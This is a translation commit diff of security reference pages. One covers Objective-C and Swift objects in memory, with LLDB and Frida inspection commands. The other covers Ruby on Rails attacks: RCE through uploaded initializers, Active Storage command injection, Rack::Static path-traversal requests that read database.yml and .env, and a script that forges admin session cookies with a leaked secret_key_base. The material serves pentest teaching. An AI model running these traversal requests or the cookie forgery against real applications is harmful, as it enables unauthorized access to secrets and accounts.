Translated ['src/network-services-pentesting/pentesting-web/ruby-tricks.

This commit is contained in:
Translator 2025-08-26 15:04:10 +00:00
parent aecd6f3ad1
commit 7ccfd69096
2 changed files with 255 additions and 48 deletions

View File

@ -1,12 +1,12 @@
# メモリ内のオブジェクト
# Objects in memory
{{#include ../../../banners/hacktricks-training.md}}
## CFRuntimeClass
CF\* オブジェクトは CoreFoundation から来ており、`CFString``CFNumber`、または `CFAllocator` のような 50 以上のクラスのオブジェクトを提供します。
CF* オブジェクトは CoreFoundation に由来し、`CFString``CFNumber``CFAllocator` のような 50 を超えるクラスのオブジェクトを提供します。
これらすべてのクラスは `CFRuntimeClass` のインスタンスであり、呼び出されると `__CFRuntimeClassTable` へのインデックスを返します。CFRuntimeClass は [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html) で定義されています:
これらすべてのクラスは `CFRuntimeClass` クラスのインスタンスであり、呼び出されると `__CFRuntimeClassTable` へのインデックスを返します。`CFRuntimeClass` は [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html):
```objectivec
// Some comments were added to the original code
@ -55,68 +55,79 @@ uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .versi
```
## Objective-C
### メモリセクションの使用
### 使用されるメモリセクション
ObjectiveCランタイムによって使用されるデータのほとんどは、実行中に変更されるため、メモリ内の**\_\_DATA**セグメントからいくつかのセクションを使用します:
ObjectiveC runtime が実行中に使用するデータの大部分は変化するため、メモリ上の MachO `__DATA` ファミリーのいくつかのセクションを使用します。歴史的にはこれらが含まれていました:
- **`__objc_msgrefs`** (`message_ref_t`): メッセージ参照
- **`__objc_ivar`** (`ivar`): インスタンス変数
- **`__objc_data`** (`...`): 可変データ
- **`__objc_classrefs`** (`Class`): クラス参照
- **`__objc_superrefs`** (`Class`): スーパークラス参照
- **`__objc_protorefs`** (`protocol_t *`): プロトコル参照
- **`__objc_selrefs`** (`SEL`): セレクタ参照
- **`__objc_const`** (`...`): クラスの`r/o`データおよびその他の(おそらく)定数データ
- **`__objc_imageinfo`** (`version, flags`): 画像のロード中に使用されます:現在のバージョンは`0`フラグは最適化されたGCサポートなどを指定します。
- **`__objc_protolist`** (`protocol_t *`): プロトコルリスト
- **`__objc_nlcatlist`** (`category_t`): このバイナリで定義された非遅延カテゴリへのポインタ
- **`__objc_catlist`** (`category_t`): このバイナリで定義されたカテゴリへのポインタ
- **`__objc_nlclslist`** (`classref_t`): このバイナリで定義された非遅延Objective-Cクラスへのポインタ
- **`__objc_classlist`** (`classref_t`): このバイナリで定義されたすべてのObjective-Cクラスへのポインタ
- `__objc_msgrefs` (`message_ref_t`): メッセージ参照
- `__objc_ivar` (`ivar`): インスタンス変数
- `__objc_data` (`...`): 変更可能なデータ
- `__objc_classrefs` (`Class`): クラス参照
- `__objc_superrefs` (`Class`): スーパークラス参照
- `__objc_protorefs` (`protocol_t *`): プロトコル参照
- `__objc_selrefs` (`SEL`): セレクタ参照
- `__objc_const` (`...`): クラスの読み取り専用データやその他(可能な限り)定数データ
- `__objc_imageinfo` (`version, flags`): イメージロード時に使用:現在の Version は `0`Flags は事前最適化された GC サポート等を指定
- `__objc_protolist` (`protocol_t *`): プロトコルリスト
- `__objc_nlcatlist` (`category_t`): このバイナリ内で定義された Non-Lazy Categories へのポインタ
- `__objc_catlist` (`category_t`): このバイナリ内で定義された Categories へのポインタ
- `__objc_nlclslist` (`classref_t`): このバイナリ内で定義された Non-Lazy ObjectiveC クラスへのポインタ
- `__objc_classlist` (`classref_t`): このバイナリ内で定義されたすべての ObjectiveC クラスへのポインタ
また、定数値を格納するために**`__TEXT`**セグメントのいくつかのセクションも使用します。このセクションに書き込むことができない場合:
定数を格納するために `__TEXT` セグメントのいくつかのセクションも使用します:
- **`__objc_methname`** (C-String): メソッド名
- **`__objc_classname`** (C-String): クラス名
- **`__objc_methtype`** (C-String): メソッドタイプ
- `__objc_methname` (CString): メソッド名
- `__objc_classname` (CString): クラス名
- `__objc_methtype` (CString): メソッド型
### タイプエンコーディング
Modern macOS/iOS特に Apple Siliconでは ObjectiveC/Swift メタデータを次にも配置します:
Objective-Cは、セレクタと変数の型を単純および複雑な型でエンコードするためにいくつかのマングリングを使用します
- `__DATA_CONST`: プロセス間で読み取り専用として共有可能な不変の ObjectiveC メタデータ(例:多くの `__objc_*` リストがここに移動している)
- `__AUTH` / `__AUTH_CONST`: arm64e の Pointer Authentication によりロード時または使用時に認証される必要があるポインタを含むセグメント。従来の `__la_symbol_ptr`/`__got` の代わりに `__auth_got``__AUTH_CONST` 内に見られることもあります。インストルメンテーションやフックを行う際は、モダンなバイナリで `__got``__auth_got` の両方のエントリを考慮することを忘れないでください。
- プリミティブ型は、型の最初の文字を使用します。`i``int``c``char``l``long`... そして符号なしの場合は大文字を使用します(`L``unsigned Long`)。
- 他のデータ型の文字が使用されているか特別な場合は、`q``long long``b``bitfields``B``booleans``#``classes``@``id``*``char pointers``^`は一般的な`pointers``?``undefined`のように他の文字や記号を使用します。
- 配列、構造体、共用体は`[``{``(`を使用します。
dyld の事前最適化(例えばセレクタのユニーク化やクラス/プロトコルの事前計算)と、これら多くのセクションが shared cache から来る際に「すでに固定済み」である理由の背景については、Apple の `objc-opt` ソースと dyld shared cache ノートを確認してください。これはランタイムでメタデータをパッチする場所と方法に影響します。
#### 例 メソッド宣言
{{#ref}}
../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md
{{#endref}}
### Type Encoding
ObjectiveC は簡単な型や複雑な型の selector や変数型をエンコードするためにマングリングを使用します:
- プリミティブ型は型名の最初の文字を使用します — `i``int``c``char``l``long` など。無符号の場合は大文字を使用します(`L``unsigned long`)。
- その他のデータ型は別の文字や記号を使用します。例:`q``long long``b` は bitfields、`B` は boolean、`#` は classes、`@``id``*``char *``^` は汎用ポインタ、`?` は未定義。
- 配列、構造体、共用体はそれぞれ `[``{``(` を使用します。
#### Example Method Declaration
```objectivec
- (NSString *)processString:(id)input withOptions:(char *)options andError:(id)error;
```
セレクタは `processString:withOptions:andError:` です。
セレクタは `processString:withOptions:andError:` です
#### タイプエンコーディング
#### エンコーディング
- `id``@` としてエンコードされます。
- `char *``*` としてエンコードされます。
- `id``@` としてエンコードされます
- `char *``*` としてエンコードされます
メソッドの完全なタイプエンコーディングは:
メソッドの完全な型エンコーディングは次のとおりです
```less
@24@0:8@16*20^@24
```
#### 詳細な内訳
1. **戻り値の型 (`NSString *`)**: `@`エンコードされ、長さは 24
2. **`self` (オブジェクトインスタンス)**: `@` でエンコードされ、オフセット 0
3. **`_cmd` (セレクタ)**: `:` でエンコードされ、オフセット 8
4. **最初の引数 (`char * input`)**: `*` でエンコードされ、オフセット 16
5. **2 番目の引数 (`NSDictionary * options`)**: `@` でエンコードされ、オフセット 20
6. **3 番目の引数 (`NSError ** error`)**: `^@` でエンコードされ、オフセット 24
1. 戻り値の型 (`NSString *`): `@` としてエンコードされ、長さは 24
2. `self`(オブジェクトインスタンス): `@` としてエンコード、オフセット 0
3. `_cmd`(セレクタ): `:` としてエンコード、オフセット 8
4. 最初の引数 (`char * input`): `*` としてエンコード、オフセット 16
5. 2番目の引数 (`NSDictionary * options`): `@` としてエンコード、オフセット 20
6. 3番目の引数 (`NSError ** error`): `^@` としてエンコード、オフセット 24
**セレクタとエンコーディングを使ってメソッドを再構築できます。**
セレクタとエンコーディングを組み合わせることでメソッドを再構築できます。
### **クラス**
### クラス
Objective-C のクラスはプロパティ、メソッドポインタを持つ構造体です... 構造体 `objc_class` を [**ソースコード**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html) で見つけることができます:
ObjectiveC のクラスはプロパティやメソッドポインタなどを持つ C の構造体です。struct `objc_class` は [**source code**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html) で確認できます:
```objectivec
struct objc_class : objc_object {
// Class ISA;
@ -137,9 +148,114 @@ data()->setFlags(set);
}
[...]
```
このクラスはクラスに関する情報を示すためにisaフィールドのいくつかのビットを使用します。
このクラスはクラスに関する情報を示すために `isa` フィールドのいくつかのビットを使用します。
次に、構造体はディスクに保存された`class_ro_t`構造体へのポインタを持ち、クラスの名前、基本メソッド、プロパティ、およびインスタンス変数などの属性を含みます。\
実行時には、メソッド、プロトコル、プロパティなどの変更可能なポインタを含む追加の構造体`class_rw_t`が使用されます。
また、struct はディスク上に格納された `class_ro_t` 構造体へのポインタを持ち、そこにはクラス名、基本メソッド、プロパティ、インスタンス変数などの属性が含まれます。ランタイム時には、メソッド、プロトコル、プロパティなど変更可能なポインタを含む追加の構造体 `class_rw_t` が使用されます。
{{#ref}}
../macos-basic-objective-c.md
{{#endref}}
---
## メモリ内の現代的なオブジェクト表現 (arm64e、tagged pointers、Swift)
### 非ポインタ `isa` と Pointer Authentication (arm64e)
Apple Silicon と最近のランタイムでは、ObjectiveC の `isa` が常に生のクラスポインタとは限りません。arm64e では `isa` はパックされた構造体であり、Pointer Authentication Code (PAC) を含む場合があります。プラットフォームによっては `nonpointer``has_assoc``weakly_referenced``extra_rc`、およびシフトまたは符号化されたクラスポインタ自体のようなフィールドを含むことがあります。つまり、ObjectiveC オブジェクトの先頭 8 バイトを盲目的にデリファレンスしても有効な `Class` ポインタが得られるとは限りません。
arm64e でデバッグする際の実務的な注意点:
- LLDB は通常 `po` で ObjectiveC オブジェクトを表示する際に PAC ビットを取り除いてくれますが、生のポインタを扱うときは認証を手動で剥がす必要がある場合があります:
```lldb
(lldb) expr -l objc++ -- #include <ptrauth.h>
(lldb) expr -l objc++ -- void *raw = ptrauth_strip((void*)0x000000016f123abc, ptrauth_key_asda);
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)raw)
```
- MachO 内の多くの関数/データポインタは `__AUTH`/`__AUTH_CONST` に存在し、使用前に認証が必要です。インターポーズや再バインド(例: fishhook スタイル)を行う場合は、レガシーな `__got` に加えて `__auth_got` の処理も行ってください。
言語/ABI の保証や Clang/LLVM で利用可能な `<ptrauth.h>` のイントリンシックの詳細については、このページの末尾の参照を参照してください。
### タグ付きポインタオブジェクト
一部の Foundation クラスはオブジェクトのペイロードをポインタ値に直接エンコードするtagged pointersことでヒープ割り当てを回避します。検出方法はプラットフォームによって異なります例: arm64 では最上位ビット、x86_64 macOS では最下位ビット)。タグ付きオブジェクトはメモリに通常の `isa` を持たず、ランタイムがタグビットからクラスを解決します。任意の `id` 値を調べるときは:
- `isa` フィールドを直接覗くのではなく、ランタイム API を使用してください: `object_getClass(obj)` / `[obj class]`
- LLDB では `po (id)0xADDR` とするだけで、ランタイムがクラス解決に相談されるためタグ付きポインタのインスタンスを正しく表示します。
### Swift ヒープオブジェクトとメタデータ
純粋な Swift クラスもヘッダが Swift メタデータObjectiveC の `isa` ではない)を指すオブジェクトです。変更せずに稼働中の Swift プロセスを調査するには、Swift ツールチェーンの `swift-inspect` を使用できます。これは Remote Mirror ライブラリを利用してランタイムメタデータを読み取ります:
```bash
# Xcode toolchain (or Swift.org toolchain) provides swift-inspect
swift-inspect dump-raw-metadata <pid-or-name>
swift-inspect dump-arrays <pid-or-name>
# On Darwin additionally:
swift-inspect dump-concurrency <pid-or-name>
```
これは、Swift/ObjCが混在するアプリをリバースエンジニアリングする際に、Swiftのヒープオブジェクトやプロトコル適合をマッピングするのに非常に役立ちます。
---
## Runtime inspection cheatsheet (LLDB / Frida)
### LLDB
- Print object or class from a raw pointer:
```lldb
(lldb) expr -l objc++ -O -- (id)0x0000000101234560
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)0x0000000101234560)
```
- breakpoint内でオブジェクトメソッドの`self`へのpointerからObjectiveC classを調査する:
```lldb
(lldb) br se -n '-[NSFileManager fileExistsAtPath:]'
(lldb) r
... breakpoint hit ...
(lldb) po (id)$x0 # self
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)$x0)
```
- ObjectiveC メタデータを含むセクションをダンプする(注:多くは現在 `__DATA_CONST` / `__AUTH_CONST` にあります):
```lldb
(lldb) image dump section --section __DATA_CONST.__objc_classlist
(lldb) image dump section --section __DATA_CONST.__objc_selrefs
(lldb) image dump section --section __AUTH_CONST.__auth_got
```
- 既知のクラスオブジェクトのメモリを読み、メソッドリストを逆解析する際に `class_ro_t` / `class_rw_t` にピボットする:
```lldb
(lldb) image lookup -r -n _OBJC_CLASS_$_NSFileManager
(lldb) memory read -fx -s8 0xADDRESS_OF_CLASS_OBJECT
```
### Frida (ObjectiveC and Swift)
Frida はシンボルなしでライブオブジェクトを発見・操作するための高レベルなランタイムブリッジを提供します:
- クラスやメソッドを列挙し、実行時に実際のクラス名を解決し、ObjectiveC selectors をインターセプトします:
```js
if (ObjC.available) {
// List a class' methods
console.log(ObjC.classes.NSFileManager.$ownMethods);
// Intercept and inspect arguments/return values
const impl = ObjC.classes.NSFileManager['- fileExistsAtPath:isDirectory:'].implementation;
Interceptor.attach(impl, {
onEnter(args) {
this.path = new ObjC.Object(args[2]).toString();
},
onLeave(retval) {
console.log('fileExistsAtPath:', this.path, '=>', retval);
}
});
}
```
- Swift bridge: Swift 型を列挙し、Swift インスタンスとやり取りする(最新の Frida が必要; Apple Silicon ターゲットで非常に有用)。
---
## 参考資料
- Clang/LLVM: Pointer Authentication と `<ptrauth.h>` の intrinsics (arm64e ABI). https://clang.llvm.org/docs/PointerAuthentication.html
- Apple objc runtime ヘッダtagged pointers、nonpointer `isa` など)。例: `objc-object.h`. https://opensource.apple.com/source/objc4/objc4-818.2/runtime/objc-object.h.auto.html
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,100 @@
# Ruby Tricks
# Ruby トリック
{{#include ../../banners/hacktricks-training.md}}
## ファイルアップロードによるRCE
[この記事](https://www.offsec.com/blog/cve-2024-46986/)で説明されているように、`config/initializers/`のような敏感なディレクトリに`.rb`ファイルをアップロードすると、Ruby on Railsアプリケーションでリモートコード実行RCEにつながる可能性があります。
As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
ヒント:
- アプリ起動時に実行される他の boot/eager-load の場所も、書き込み可能であれば同様に危険です(例: `config/initializers/` が典型)。もし任意のファイルアップロードが `config/` 以下のどこかに置かれ、後で評価require される場合、起動時に RCE を得る可能性があります。
- Rails が起動時にロードするコンテナイメージ内にユーザー制御のファイルをコピーするような dev/staging ビルドを探してください。
## Active Storage image transformation → command execution (CVE-2025-24293)
アプリが Active Storage と `image_processing` + `mini_magick` を使用し、image transformation メソッドに信頼できないパラメータを渡す場合、Rails の 7.1.5.2 / 7.2.2.2 / 8.0.2.1 より前のバージョンでは、いくつかの変換メソッドが誤ってデフォルトで許可されていたため、command injection を許す可能性がありました。
- A vulnerable pattern looks like:
```erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>
```
where `params[:t]` and/or `params[:v]` are attacker-controlled.
- テスト時に試すこと
- variant/processing オプション、変換名、または任意の ImageMagick 引数を受け取るエンドポイントを特定する。
- `params[:t]``params[:v]` をファズして、疑わしいエラーや実行の副作用を探す。メソッド名に影響を与えられる、または MiniMagick に到達する生引数を渡せる場合、image processor ホスト上で code exec を得られる可能性があります。
- 生成された variants に対して読み取りアクセスしかない場合、細工した ImageMagick 操作を使ってブラインドな exfiltration を試みる。
- 修正/検知
- Active Storage + `image_processing` + `mini_magick` を使用し、ユーザー制御の変換がある Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 を見かけたら悪用可能と考えてくださいアップグレードを推奨しメソッドパラメータの厳格な許可リスト適用と ImageMagick ポリシーの強化を行うよう勧めます
## Rack::Static の LFI / path traversal (CVE-2025-27610)
ターゲットスタックが Rack ミドルウェアを直接またはフレームワーク経由で使用している場合、`rack` の 2.2.13、3.0.14、3.1.12 より前のバージョンでは、`:root` が未設定/誤設定だと `Rack::Static` 経由で Local File Inclusion を許す可能性があります。`PATH_INFO` にエンコードされたトラバーサルがあると、プロセスの作業ディレクトリや予期しない root 以下のファイルが露出することがあります。
- `config.ru` やミドルウェアスタックに `Rack::Static` をマウントしているアプリを探す。例えば静的パスに対してエンコードされたトラバーサルを試す:
```text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
```
`urls:` に合わせて prefix を調整する。アプリがファイル内容で応答する場合、解決された `:root` 以下の任意のファイルへの LFI を得ている可能性が高い。
- 緩和策: Rack をアップグレードする。`:root` が公開ファイルのディレクトリのみを指し、明示的に設定されていることを確認する。
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
Rails は `secret_key_base` から派生したキーを使ってクッキーを暗号化し署名します。If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. これは、アプリが cookies に roles、user IDs、または feature flags を格納している場合、しばしば authz bypass に繋がります。
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
```ruby
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
```
注意:
- 古いアプリでは AES-256-CBC とソルト `encrypted cookie` / `signed encrypted cookie`、または JSON/Marshal シリアライザを使用している場合があります。ソルト、cipher、serializer を適宜調整してください。
- 侵害/評価時には、既存のすべてのクッキーを無効化するために `secret_key_base` をローテーションしてください。
## See also (Ruby/Rails-specific vulns)
- Ruby deserialization and class pollution:
{{#ref}}
../../pentesting-web/deserialization/README.md
{{#endref}}
{{#ref}}
../../pentesting-web/deserialization/ruby-class-pollution.md
{{#endref}}
{{#ref}}
../../pentesting-web/deserialization/ruby-_json-pollution.md
{{#endref}}
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
{{#ref}}
../../pentesting-web/ssti-server-side-template-injection/README.md
{{#endref}}
## 参考
- Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
{{#include ../../banners/hacktricks-training.md}}